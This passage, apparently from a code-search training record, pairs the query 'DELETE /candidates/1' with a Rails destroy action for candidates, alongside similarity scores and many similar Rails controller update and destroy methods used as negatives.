notice: 'Proposal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @proposal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @proposal.update_attributes(params[:proposal])\n format.html { redirect_to @proposal, notice: 'Proposal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @proposal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @proposal = listing.proposals.find(params[:id])\n\n respond_to do |format|\n if @proposal.update_attributes(params[:proposal])\n format.html { redirect_to @proposal, notice: 'Proposal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @proposal.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update\n @proposal = Proposal.find(params[:id])\n\n respond_to do |format|\n if @proposal.update_attributes(update_params)\n format.html { redirect_to @proposal, notice: 'Proposal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @proposal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @concept_id = args[:concept_id] if args.key?(:concept_id)\n @contact_source = args[:contact_source] if args.key?(:contact_source)\n @is_relationship_from_annotation = args[:is_relationship_from_annotation] if args.key?(:is_relationship_from_annotation)\n @is_relationship_from_source = args[:is_relationship_from_source] if args.key?(:is_relationship_from_source)\n @is_single_candidate = args[:is_single_candidate] if args.key?(:is_single_candidate)\n @is_starred = args[:is_starred] if args.key?(:is_starred)\n @matched_name_type = args[:matched_name_type] if args.key?(:matched_name_type)\n @num_alternate_name_from_fuzzy_contact_match = args[:num_alternate_name_from_fuzzy_contact_match] if args.key?(:num_alternate_name_from_fuzzy_contact_match)\n @num_alternate_names_from_s3 = args[:num_alternate_names_from_s3] if args.key?(:num_alternate_names_from_s3)\n @num_alternative_names_from_interpretation = args[:num_alternative_names_from_interpretation] if args.key?(:num_alternative_names_from_interpretation)\n @num_candidates = args[:num_candidates] if args.key?(:num_candidates)\n @recognition_alternate_source = args[:recognition_alternate_source] if args.key?(:recognition_alternate_source)\n end", "def update\n @candidate_revision = CandidateRevision.find(params[:id])\n\n respond_to do |format|\n if @candidate_revision.update_attributes(params[:candidate_revision])\n flash[:notice] = 'CandidateRevision was successfully updated.'\n format.html { redirect_to(@candidate_revision) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @candidate_revision.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @candidate = Usernew.find(params[:id])\n\n respond_to do |format|\n if @candidate.update_attributes(params[:usernew])\n format.html { redirect_to @usernew, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @usernew.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_initiative_update.update(api_v1_initiative_update_params)\n format.html { redirect_to @api_v1_initiative_update, notice: 'Initiative update was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_update }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_update.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @election.update(election_params)\n format.html { redirect_to @election, notice: \"Election was successfully updated.\" }\n format.json { render :show, status: :ok, location: @election }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @election.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def update\n @person = Person.find(params[:id]) \n respond_to do |format|\n if @person.update(person_params)\n format.json { render json: @person, status: :ok }\n else\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @coffer.update(coffer_params)\n format.html { redirect_to @coffer, notice: 'Coffer was successfully updated.' }\n format.json { render :show, status: :ok, location: @coffer }\n else\n format.html { render :edit }\n format.json { render json: @coffer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @proposal.accepted == true\n format.html { redirect_to @proposal, notice: 'The Proposal Can Not Be Changed After It Has Been Assigned' }\n end\n unless params[:proposal][:bts].nil? || params[:proposal][:bts].count == 0\n @proposal.bts.clear\n params[:proposal][:bts].each do |bt|\n @proposal.bts << bt\n end\n end\n unless params[:proposal][:focus_points].nil? || params[:proposal][:focus_points].count == 0\n @proposal.focus_points.clear\n params[:proposal][:focus_points].each do |fp|\n @proposal.focus_points << fp\n end\n end\n if @proposal.update(proposal_params)\n format.html { redirect_to @proposal, notice: 'Proposal was successfully updated.' }\n format.json { render :show, status: :ok, location: @proposal }\n else\n format.html { render :edit }\n format.json { render json: @proposal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @leader = Leader.find(params[:id])\n\n respond_to do |format|\n if @leader.update_attributes(params[:leader])\n format.html { redirect_to @leader, notice: 'Leader was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @leader.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_candidate\n @candidate = Candidate.includes(:user, :resume).find(params[:id])\n end", "def update\n respond_to do |format|\n if @election.update(election_params)\n format.html { redirect_to @election, notice: 'Election was successfully updated.' }\n format.json { render :show, status: :ok, location: @election }\n else\n format.html { render :edit }\n format.json { render json: @election.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @election.update(election_params)\n format.html { redirect_to @election, notice: 'Election was successfully updated.' }\n format.json { render :show, status: :ok, location: @election }\n else\n format.html { render :edit }\n format.json { render json: @election.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @initiative = Initiative.find(params[:id])\n \n respond_to do |format|\n if @initiative.update_attributes(params[:initiative])\n \n format.html { redirect_to @initiative, notice: 'Initiative was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def update # PATCH\n raise NotImplementedError\n end", "def update\n respond_to do |format|\n if election.update_attributes(params[:election] ? election_attributes : {})\n format.html { redirect_to(election, flash: { success: 'Election updated.' }) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => election.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @requester.update(requester_params)\n format.html { redirect_to @requester, notice: 'Requester was successfully updated.' }\n format.json { render :show, status: :ok, location: @requester }\n else\n format.html { render :edit }\n format.json { render json: @requester.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @collaborator = Collaborator.find(params[:id])\n\n respond_to do |format|\n if @collaborator.update_attributes(params[:collaborator])\n format.html { redirect_to @collaborator, notice: 'Collaborator was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @collaborator.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_candidate\n \t@election = Candidate.find(params[:id])\n end", "def update\n respond_to do |format|\n if @proposal.update(proposal_params)\n format.html { redirect_to @proposal, notice: 'Proposal was successfully updated.' }\n format.json { render :show, status: :ok, location: @proposal }\n else\n format.html { render :edit }\n format.json { render json: @proposal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_by_body\n @person = Person.find(person_update_params[:id])\n\n if @person.update_attributes(person_update_params)\n render json: { status: 'PUT Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error updating person', person: @person.errors }, status: :unprocessable_entity\n end\n end", "def update\n if request.content_type == \"application/json\"\n # .update is like a \"update people set ...\" in sql\n if @person.update(person_params)\n render json: @person\n else\n render json: @person.errors, status: :not_found\n end\n else\n render status: :bad_request\n end\n end", "def set_candidate\n @candidate = params[:id] ? Candidate.find(params[:id]) : Candidate.new(candidate_params)\n end", "def set_candidate\n @candidate = Candidate.find(params[:id])\n end", "def update\n @kickoff = Kickoff.find(params[:id])\n\n respond_to do |format|\n if @kickoff.update_attributes(params[:kickoff])\n format.html { redirect_to @kickoff, notice: 'Kickoff was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kickoff.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @proposal.update(proposal_params)\n format.html { redirect_to :back, notice: 'La proposition a été modifiée.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @proposal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize [:api, :v1, @requesting_object]\n ticket = ServiceTicket.where(\n client_key: params['avatar_key'],\n id: params['id']\n ).first\n if params['comment_text']\n ticket.comments << Comment.new(author: params['avatar_name'],\n text: params['comment_text'])\n end\n ticket.update(status: params['status']) if params['status']\n render json: { message: 'OK' }, status: :ok\n end", "def update\n respond_to do |format|\n if @exam_candidate.update_attributes(params[:exam_candidate])\n format.html { redirect_to(@exam_candidate, :notice => 'Candidate was successfully updated.') }\n format.xml { head :ok }\n else\n @exam_candidate.attachments.build\n @exam_candidate.internships.build\n # @exam_candidate.build_address\n\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @exam_candidate.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n #Finding the specific chore where the id matches the one we pass in with the body\n @v1_chore = Chore.where(id: params[:id]).first\n #Here we're checking if we have user_id in our body, and if we do, we'll change the selected chore's properties\n #with the parameters of the body, we go through the specific group to our specific chore with the path\n if v1_chore_params[:user_id]\n @v1_chore.user_id = params[:user_id]\n @v1_chore.assigned = true\n if @v1_chore.save\n render :show, status: :ok\n end\n else\n render json: @v1_chore.errors, status: :unprocessable_entity\n end\n end", "def update\n course = Course.includes(:professors).find(params[:id])\n course.update!(course_params)\n \n course.professor_ids=(params[:professors])\n\n render json: course.to_json(include: :professors)\n end", "def update\n @solution = @idea.solutions.find(params[:id])\n\n if @solution.update_attributes(params[:solution])\n render json: { text: \"success\" }\n else\n render json: { text: \"fail\"}\n end\n end", "def update\n respond_to do |format|\n if @appoint_responsible.update(appoint_responsible_params)\n format.html { redirect_to @appoint_responsible, notice: 'Appoint responsible was successfully updated.' }\n format.json { render :show, status: :ok, location: @appoint_responsible }\n else\n format.html { render :edit }\n format.json { render json: @appoint_responsible.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @election.update(election_params)\n format.html { redirect_to [:admin, @election], notice: 'Election was successfully updated.' }\n format.json { render :show, status: :ok, location: @election }\n else\n format.html { render :edit }\n format.json { render json: @election.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @request.assign_json_attributes(params) if @request.resume?\n respond_to do |format|\n if @request.update(request_params)\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { render :show, status: :ok, location: @request }\n else\n format.html { render :edit }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_concern.update(api_v1_concern_params)\n format.html { redirect_to @api_v1_concern, notice: 'Concern was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_concern }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_concern.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by(id: params[:id])\n suggested_pathway.name = params[:name]\n suggested_pathway.year = params[:year]\n suggested_pathway.course_id = params[:course_id]\n suggested_pathway.data = params[:data]\n suggested_pathway.save\n render json: suggested_pathway\n end", "def update\n recipe.update(recipe_params)\n render json: recipe\n end", "def update\n # @person = Person.find(params[:id])\n # @person.pct_complete = @person.requirement_progress\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, :notice => 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @completion.update(completion_params)\n format.html { redirect_to @completion, notice: 'Completion was successfully updated.' }\n format.json { render :show, status: :ok, location: @completion }\n else\n format.html { render :edit }\n format.json { render json: @completion.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_candidate\n @candidate = Candidate.find(params[:candidate_id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:candidate_id])\n end", "def set_candidate\n @candidate = Candidate.find(params[:candidate_id])\n end", "def set_candidate\n @candidate = Candidate.find_by id: params[:id]\n authorize @candidate\n end", "def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end", "def update\n respond_to do |format|\n if @potential_client.update(potential_client_params)\n format.html { redirect_to @potential_client, notice: 'Potential client was successfully updated.' }\n format.json { render :show, status: :ok, location: @potential_client }\n else\n format.html { render :edit }\n format.json { render json: @potential_client.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @election = Election.find(params[:id])\n\n respond_to do |format|\n if @election.update_attributes(params[:election])\n flash[:notice] = 'Election was successfully updated.'\n format.html { redirect_to(@election) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @election.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @contests = args[:contests] if args.key?(:contests)\n @drop_off_locations = args[:drop_off_locations] if args.key?(:drop_off_locations)\n @early_vote_sites = args[:early_vote_sites] if args.key?(:early_vote_sites)\n @election = args[:election] if args.key?(:election)\n @kind = args[:kind] if args.key?(:kind)\n @mail_only = args[:mail_only] if args.key?(:mail_only)\n @normalized_input = args[:normalized_input] if args.key?(:normalized_input)\n @other_elections = args[:other_elections] if args.key?(:other_elections)\n @polling_locations = args[:polling_locations] if args.key?(:polling_locations)\n @precinct_id = args[:precinct_id] if args.key?(:precinct_id)\n @state = args[:state] if args.key?(:state)\n end", "def update\n respond_to do |format|\n if @leadership.update(leadership_params)\n format.html { redirect_to @leadership, notice: 'Leadership was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @leadership.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6997068", "0.6843286", "0.67535204", "0.6686334", "0.65477365", "0.6542974", "0.6518262", "0.6458349", "0.64341927", "0.6364452", "0.63492894", "0.624964", "0.61845785", "0.6174728", "0.61387515", "0.61366266", "0.60592806", "0.5986286", "0.5959036", "0.5920511", "0.59154475", "0.58870035", "0.5873875", "0.58720976", "0.5858716", "0.5844691", "0.5828282", "0.58240527", "0.58112353", "0.58010906", "0.5795901", "0.5795901", "0.57757664", "0.5769659", "0.575372", "0.5735932", "0.5734777", "0.57078874", "0.5703897", "0.56987894", "0.56987894", "0.56987894", "0.56987894", "0.56987894", "0.56987894", "0.56987894", "0.56987894", "0.56987894", "0.56987894", "0.56987894", "0.56987894", "0.56845856", "0.56807595", "0.5678208", "0.56728816", "0.56700325", "0.56653214", "0.56653214", "0.56632763", "0.56608087", "0.5653734", "0.5646902", "0.5640472", "0.56397325", "0.5631545", "0.5623582", "0.56233525", "0.56231695", "0.56139874", "0.5607637", "0.55942726", "0.558184", "0.5581213", "0.55786675", "0.5575969", "0.55748516", "0.55638546", "0.5561009", "0.55540925", "0.55514455", "0.55433476", "0.5535228", "0.5535117", "0.5533403", "0.55330044", "0.5531925", "0.5531925", "0.5531925", "0.55258906", "0.5525867", "0.5511647", "0.55110914", "0.5509521", "0.5508668" ]
0.6768482
8
DELETE /candidates/1 DELETE /candidates/1.json
def destroy @candidate.destroy respond_to do |format| format.html { redirect_to candidates_url, notice: 'Candidate was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @candidate = Candidate.find(params[:id])\n @candidate.destroy\n\n respond_to do |format|\n format.html { redirect_to candidates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @candidate = Candidate.find(params[:id])\n @candidate.destroy\n\n respond_to do |format|\n format.html { redirect_to candidates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @candidate.destroy\n respond_to do |format|\n format.html { redirect_to candidates_url, notice: \"Candidate was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @candidate.destroy\n respond_to do |format|\n format.html { redirect_to candidates_url, notice: \"Candidate was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @candidate.destroy\n respond_to do |format|\n format.html { redirect_to candidates_url, notice: \"Candidate was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @candidate.destroy\n respond_to do |format|\n flash[:notice] = 'Candidate was successfully destroyed.'\n format.html { redirect_to candidates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @candidate.destroy\n respond_to do |format|\n format.html { redirect_to candidates_url, notice: 'Your profile was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize @vote_candidate\n @vote_candidate.destroy\n respond_to do |format|\n format.html { redirect_to vote_candidates_url, notice: 'Vote candidate was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exam_candidate.destroy\n\n respond_to do |format|\n format.html { redirect_to(candidates_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @candidate_detail.destroy\n respond_to do |format|\n format.html { redirect_to candidate_candidate_details_path(@candidate), notice: 'Candidate detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @candidate_reference.destroy\n respond_to do |format|\n flash[:success] = 'Reference was successfully deleted' \n format.html { redirect_to edit_candidate_references_path(params[:candidate_id])}\n format.json { head :no_content }\n end\n end", "def destroy\n @candidate.destroy\n redirect_to candidates_url, notice: 'Candidate was successfully destroyed.'\n end", "def destroy\n @candidate_app = CandidateApp.find(params[:id])\n @candidate_app.destroy\n\n respond_to do |format|\n format.html { redirect_to candidate_apps_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @candidatedetail.destroy\n respond_to do |format|\n format.html { redirect_to candidatedetails_url, notice: 'Candidatedetail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @election = Election.find(params[:id])\n @election.destroy\n respond_to do |format|\n format.html { redirect_to user_elections_path, notice: 'Election was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @candidate = Candidate.find(params[:id])\n @candidate.destroy\n redirect_to admin_jobs_url\n end", "def destroy_candidates\n candidates.each do |candidate|\n candidate.destroy\n end\n end", "def destroy\n @candidate_revision = CandidateRevision.find(params[:id])\n @candidate_revision.destroy\n\n respond_to do |format|\n format.html { redirect_to(candidate_revisions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @election.destroy\n respond_to do |format|\n format.html { redirect_to elections_url, notice: \"Election was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @election.destroy\n respond_to do |format|\n format.html { redirect_to elections_url, notice: 'Election was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @election.destroy\n respond_to do |format|\n format.html { redirect_to elections_url, notice: 'Election was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @nudge.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @candidate.destroy\n respond_to do |format|\n format.html { redirect_to :back , status: 303 , notice: 'Candidato borrado correctamente.' }\n # if !params[:category_id].nil?\n #format.html { redirect_to(category_candidates_path(@category), notice: 'Categoría borrada correctamente.')\n # else\n #format.html { redirect_to candidates_url, notice: 'Candidato borrado correctamente.' }\n # end\n format.json { head :no_content }\n\n end\n end", "def destroy\n @optin_contestant = OptinContestant.find(params[:id])\n @optin_contestant.destroy\n\n respond_to do |format|\n format.html { redirect_to optin_contestants_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @election.destroy\n respond_to do |format|\n format.html { redirect_to admin_elections_url, notice: 'Election was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @collaborator = Collaborator.find(params[:id])\n @collaborator.destroy\n\n respond_to do |format|\n format.html { redirect_to canvases_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @election = Election.find(params[:id])\n @election.destroy\n\n respond_to do |format|\n format.html { redirect_to(elections_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @leader.destroy\n respond_to do |format|\n format.html { redirect_to leaders_url, notice: 'leader was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ai_contest = AiContest.find(params[:id])\n @ai_contest.destroy\n\n respond_to do |format|\n format.html { redirect_to ai_contests_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @challenge.destroy\n respond_to do |format|\n format.html { redirect_to challenges_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @challenge ||= Challenge.find(params[:id])\n @challenge.destroy\n\n respond_to do |format|\n format.html { redirect_to challenges_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vote = Vote.find(params[:id])\n @vote.destroy\n\n respond_to do |format|\n format.html { redirect_to proposal_url(@proposal) }\n format.json { head :no_content }\n end\n end", "def destroy\n @reply_vote = ReplyVote.find(params[:id])\n @reply_vote.destroy\n\n respond_to do |format|\n format.html { redirect_to reply_votes_url }\n format.json { head :ok }\n end\n end", "def destroy\n @election_type = ElectionType.find(params[:id])\n @election_type.destroy\n\n respond_to do |format|\n format.html { redirect_to election_types_url }\n format.json { head :ok }\n end\n end", "def destroy\n @contestant = Contestant.find(params[:id])\n @contestant.destroy\n\n respond_to do |format|\n format.html { redirect_to contestants_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @challenge = Challenge.find(params[:id])\n @challenge.destroy\n\n respond_to do |format|\n format.html { redirect_to challenges_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @challenge = Challenge.find(params[:id])\n @challenge.destroy\n\n respond_to do |format|\n format.html { redirect_to challenges_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @leader = Leader.find(params[:id])\n @leader.destroy\n\n respond_to do |format|\n format.html { redirect_to leaders_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vote = @votable.votes.find(params[:id])\n @vote.destroy\n respond_to do |format|\n format.html { redirect_to build_path_votes }\n format.json { head :no_content }\n end\n end", "def destroy\n @compromise = Compromise.find(params[:id])\n @compromise.destroy\n\n head :no_content\n end", "def destroy\n @coffee_attempt.destroy\n respond_to do |format|\n format.html { redirect_to coffee_attempts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @decision.destroy\n respond_to do |format|\n format.html { redirect_to decisions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client_answer = ClientAnswer.find(params[:id])\n @client_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to client_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @compromise = Compromise.find(params[:id])\n @compromise.destroy\n\n respond_to do |format|\n format.html { redirect_to compromises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @election = Election.find(params[:election_id])\n @race = @election.races.find(params[:id])\n @race.destroy\n\n respond_to do |format|\n format.html { redirect_to election_races_url(@election) }\n format.json { head :no_content }\n end\n end", "def delete!\n Recliner.delete(uri)\n end", "def destroy\n @residence = Residence.find(params[:id])\n @residence.destroy\n\n respond_to do |format|\n format.html { redirect_to residences_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @counselledperson.destroy\n respond_to do |format|\n format.html { redirect_to counselledpersons_index_url, notice: 'Counselledpersons was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @candy.destroy\n respond_to do |format|\n format.html { redirect_to candies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n\n\n\n @vote = Vote.find(params[:id])\n\n @vote.destroy\n\n respond_to do |format|\n format.html { redirect_to votes_url }\n format.json { head :ok }\n end\n end", "def destroy\n @proxy_votes_collected.destroy\n respond_to do |format|\n format.html { redirect_to proxy_votes_collected_index_url, notice: 'Proxy votes collected was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @comm_vote = CommVote.find(params[:id])\n @comm_vote.destroy\n\n respond_to do |format|\n format.html { redirect_to comm_votes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @candidate_course_score.destroy\n flash[:notice] = 'Course score was successfully destroyed.'\n respond_to do |format|\n format.html { redirect_to candidate_course_scores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @leadership.destroy\n respond_to do |format|\n format.html { redirect_to leaderships_url }\n format.json { head :no_content }\n end\n end", "def delete_candidate(accountID)\n\t\tputs \"DB::delete #{accountID}\"\n\tend", "def destroy\n @v1_chore = Chore.where(id: params[:id])\n if @v1_chore.destroy\n head(:ok)\n else\n head(:unprocessable_entity)\n end\n end", "def destroy\n @client = Client.find(params[:client_id])\n @casenote = Casenote.find(params[:id])\n @casenote.destroy\n\n respond_to do |format|\n format.html { redirect_to client_casenotes_path(@client) }\n format.xml { head :ok }\n end\n end", "def destroy\n @clientcase = Clientcase.find(params[:id])\n @clientcase.destroy\n\n respond_to do |format|\n format.html { redirect_to clientcases_url }\n format.json { head :ok }\n end\n end", "def destroy\n @reqdifficulty.destroy\n respond_to do |format|\n format.html { redirect_to reqdifficulties_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vote.destroy\n respond_to do |format|\n format.html { redirect_to votes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vote.destroy\n respond_to do |format|\n format.html { redirect_to votes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @fundamental_alliance_leader_vote = Fundamental::AllianceLeaderVote.find(params[:id])\n @fundamental_alliance_leader_vote.destroy\n\n respond_to do |format|\n format.html { redirect_to fundamental_alliance_leader_votes_url }\n format.json { head :ok }\n end\n end", "def destroy\n @challenge = Challenge.find(params[:id])\n @challenge.destroy\n\n respond_to do |format|\n format.html { redirect_to(challenges_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @challenge = Challenge.find(params[:id])\n @challenge.destroy\n\n respond_to do |format|\n format.html { redirect_to(challenges_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @election_user.destroy\n respond_to do |format|\n format.html { redirect_to election_users_url, notice: 'Election user was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @completion.destroy\n respond_to do |format|\n format.html { redirect_to completions_url, notice: 'Completion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @candidat.destroy\n respond_to do |format|\n format.html { redirect_to candidats_url, notice: 'Candidat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by_id(params[:pathway_id])\n suggested_pathway.destroy\n render json: suggested_pathway\n end", "def destroy\n @clonet = Clonet.find(params[:id])\n @clonet.destroy\n\n respond_to do |format|\n format.html { redirect_to clonets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client_need = ClientNeed.find(params[:id])\n @client_need.destroy\n\n respond_to do |format|\n format.html { redirect_to client_needs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n election.destroy\n\n respond_to do |format|\n format.html { redirect_to(elections_url, flash: { success: 'Election destroyed.' }) }\n format.xml { head :ok }\n end\n end", "def destroy\n @cb_person.destroy\n respond_to do |format|\n format.html { redirect_to cb_people_url, notice: 'Cb person was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @solution = Solution.find(params[:id])\n @solution.destroy\n\n render json: { text: \"success\" }\n end", "def destroy\n @challenge = Challenge.find(params[:id])\n @challenge.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_challenges_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @borrow_request = BorrowRequest.find(params[:id])\n @borrow_request.destroy\n\n respond_to do |format|\n format.html { redirect_to borrow_requests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @crowd = Crowd.find(params[:id])\n @crowd.destroy\n\n respond_to do |format|\n format.html { redirect_to crowds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @group = Group.find(params[:group_id])\n @candidate = Candidate.find(params[:id])\n @candidate.destroy\n\n respond_to do |format|\n format.html { redirect_to group_candidates_path(@group) }\n format.xml { head :ok }\n end\n end", "def destroy\n\t\trequire_admin!\n\t\t@election.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to elections_url, notice: 'Election was successfully destroyed.' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "def remove_candidate\n job_candidate = JobCandidate.where(:job_id => params[:job_id],\n :candidate_id => params[:candidate_id]).first\n authorize(job_candidate)\n job_candidate.status = JobCandidate.statuses[:deleted]\n job_candidate.save\n\n tracker = Mixpanel::Tracker.new(ENV[\"NT_MIXPANEL_TOKEN\"])\n tracker.track('employer-'+current_employer.email, 'removed candidate from job')\n\n redirect_to employer_show_path(params[:job_id]), notice: 'Candidate removed'\n end", "def destroy\n @judge.destroy\n respond_to do |format|\n format.html { redirect_to 